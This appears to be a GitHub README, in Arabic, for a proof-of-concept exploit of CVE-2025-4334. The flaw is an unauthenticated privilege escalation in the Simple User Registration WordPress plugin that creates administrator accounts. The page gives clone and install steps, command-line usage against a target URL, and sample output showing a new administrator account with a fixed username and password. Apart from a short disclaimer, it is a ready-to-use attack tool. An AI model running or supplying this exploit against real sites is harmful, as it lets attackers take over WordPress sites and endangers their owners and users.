0xgh057r3c0n/cve-2025-4334استغلال إثبات المفهوم لـ CVE-2025-4334، وهي ثغرة تصعيد صلاحيات في إضافة Simple User Registration WordPress plugin (<= 6.3)، مما يسمح للمهاجمين غير الموثَّقين بإنشاء حسابات مدير.
عنوان الاستغلال: Simple User Registration <= 6.3 – تصعيد امتيازات بدون مصادقة المؤلف: Gaurav Bhattacharjee (0xgh057r3c0n) معرف CVE: CVE-2025-4334
يستهدف هذا الاستغلال ثغرة في إضافة Simple User Registration لووردبريس (الإصدار <= 6.3)، مما يسمح للمهاجمين غير الموثوقين بتصعيد الامتيازات وإنشاء حساب مدير جديد.
قم باستنساخ المستودع وتثبيت التبعيات المطلوبة في بايثون:
git clone https://github.com/0xgh057r3c0n/CVE-2025-4334.git
cd CVE-2025-4334
pip3 install -r requirements.txt
التبعيات:
requestscoloramapython3 CVE-2025-4334.py -u <base_url> --form <form_url>
الوسائط:
-u / --url → عنوان URL الأساسي لووردبريس (مثال: https://target.com/wordpress/)--form → عنوان URL الكامل لنموذج التسجيل (مثال: https://target.com/wpr/default-registration/)مثال:
python3 CVE-2025-4334.py -u https://example.com/wordpress --form https://example.com/wpr/default-registration/
[*] Fetching form details...
[i] Extracted Nonce : 1a2b3c4d5e
[i] Extracted Form ID : 12
[i] Referer Path : /wpr/default-registration/
[*] Sending exploit payload...
[i] HTTP Response Code : 200
[i] Server Response : {"success":true,"user_id":2}
[+] Exploitation Successful
[+] Username : 0xgh057r3c0nadmin
[+] First Name : 0xgh057r3c0nadmin
[+] Last Name : 0xgh057r3c0nadmin
[+] Email : [email protected]
[+] Password : Wiz007@8876@
[+] Role : administrator
Exploit By : Gaurav Bhattacharjee (0xgh057r3c0n)
هذه الأداة مُقدمة لأغراض تعليمية وبحثية فقط. الاستخدام غير المصرح به ضد الأنظمة دون إذن غير قانوني. المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام.
هذا المشروع مرخص بموجب رخصة MIT.